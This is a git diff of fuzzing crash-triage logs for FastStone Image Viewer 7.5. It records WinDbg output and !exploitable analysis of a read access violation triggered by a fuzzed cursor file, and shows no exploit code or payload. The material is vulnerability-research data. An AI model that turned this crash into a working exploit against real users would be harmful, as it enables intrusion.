+STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x2b68626d) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/24618/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/24618/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..a460ff6 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/24618/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/29254/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/29254/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/29254/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/29254/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/29254/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..73107e6 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/29254/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/29254/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/29254/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..712d0f5 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/29254/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,192 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1974: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1974: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1974.1864): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0001ed2d ecx=07ea7b10 edx=00003879 esi=ffdd0010 edi=0fd18fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.732602802468701280000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-9.61785e-015 1.03972e+021 13944.7 1.6186e+015 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f88130 07f05930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00369000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00369000 30c144cd 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62bb 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00369000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x2b68626d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x2b68626d) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/29254/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/29254/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..712d0f5 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/29254/WindowsDebugEngine_description.txt @@ -0,0 +1,192 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1974: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1974: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1974.1864): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0001ed2d ecx=07ea7b10 edx=00003879 esi=ffdd0010 edi=0fd18fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.732602802468701280000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-9.61785e-015 1.03972e+021 13944.7 1.6186e+015 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f88130 07f05930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00369000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00369000 30c144cd 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62bb 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00369000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 